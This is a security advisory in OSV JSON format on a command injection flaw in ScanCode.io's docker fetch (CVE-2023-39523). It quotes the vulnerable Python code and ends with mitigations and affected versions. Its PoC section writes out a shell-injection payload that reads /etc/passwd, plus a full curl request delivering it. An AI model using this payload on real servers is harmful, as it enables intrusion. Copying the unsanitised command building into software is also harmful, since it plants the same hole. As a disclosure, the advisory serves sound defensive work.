{"id":"PYSEC-2026-1904","summary":"ScanCode.io command injection in docker image fetch process","details":"## Command Injection in docker fetch process\n\n### Summary\nA possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.\n\n\n### Details\nIn the function `scanpipe/pipes/fetch.py:fetch_docker_image`[1] the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`. \n```python\ndef fetch_docker_image(docker_reference, to=None):\n    \"\"\"\n    code snipped ....\n    \"\"\"\n    platform_args = []\n    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed\n   \"\"\"\n   code snipped...\n   \"\"\"\n```\n\nHowever, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. \n\n```python\ndef get_docker_image_platform(docker_reference):\n    \"\"\"\n    Return a platform mapping of a docker reference.\n    If there are more than one, return the first one by default.\n    \"\"\"\n    skopeo_executable = _get_skopeo_location()\n    \"\"\"\n    Constructing a shell command with user controlled variable `docker_reference`\n    \"\"\"\n    cmd = (\n        f\"{skopeo_executable} inspect --insecure-policy --raw --no-creds \"\n        f\"{docker_reference}\"\n    )\n\n    logger.info(f\"Fetching image os/arch data: {cmd}\")\n    exitcode, output = pipes.run_command(cmd) # Executing command\n    logger.info(output)\n    if exitcode != 0:\n        raise FetchDockerImageError(output)\n``` \n\nA malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands.\n\n### PoC\n\n1. Create a new project with following input `docker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd` in the filed Download URLs\n![image](https://user-images.githubusercontent.com/122313513/258454691-7cabe100-f82d-44b9-99f2-5d6a0949e6c4.png)\n\n2. Check docker logs to see the command execution\n![image](https://user-images.githubusercontent.com/122313513/258455082-d7590b16-6fcb-4041-949f-2e20959db713.png)\n\n```bash\ncurl -i -s -k -X $'POST' \\\n    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \\\n    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \\\n    --data-binary $'-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"csrfmiddlewaretoken\\\"\\x0d\\x0a\\x0d\\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"name\\\"\\x0d\\x0a\\x0d\\x0apoc\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_files\\\"; filename=\\\"\\\"\\x0d\\x0aContent-Type: application/octet-stream\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_urls\\\"\\x0d\\x0a\\x0d\\x0adocker://;echo${IFS}\\\"PoC\\\"${IFS}&&cat${IFS}/etc/passwd\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"pipeline\\\"\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"execute_now\\\"\\x0d\\x0a\\x0d\\x0aon\\x0d\\x0a-----------------------------2742275543734015476190112060--\\x0d\\x0a' \\\n    $'http://localhost/project/add/'\n```\n\n**Mitigations**\nThe `docker_reference` input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly. \n\n\n**Tested on:**\n- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]\n- OS: Ubuntu Linux Kernel 5.19.0\n\n**References**\n[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185\n","aliases":["CVE-2023-39523","GHSA-2ggp-cmvm-f62f"],"modified":"2026-07-07T17:47:37.712622767Z","published":"2026-07-07T11:45:21.905903Z","references":[{"type":"WEB","url":"https://github.com/nexB/scancode.io/security/advisories/GHSA-2ggp-cmvm-f62f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-39523"},{"type":"WEB","url":"https://github.com/nexB/scancode.io/commit/07ec0de1964b14bf085a1c9a27ece2b61ab6105c"},{"type":"PACKAGE","url":"https://github.com/nexB/scancode.io"},{"type":"WEB","url":"https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185"},{"type":"WEB","url":"https://github.com/nexB/scancode.io/releases/tag/v32.5.1"},{"type":"PACKAGE","url":"https://pypi.org/project/scancodeio"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2ggp-cmvm-f62f"}],"affected":[{"package":{"name":"scancodeio","ecosystem":"PyPI","purl":"pkg:pypi/scancodeio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"32.5.1"}]}],"versions":["32.0.1","32.1.0","32.2.0","32.4.0","32.5.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/scancodeio/PYSEC-2026-1904.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H"}]}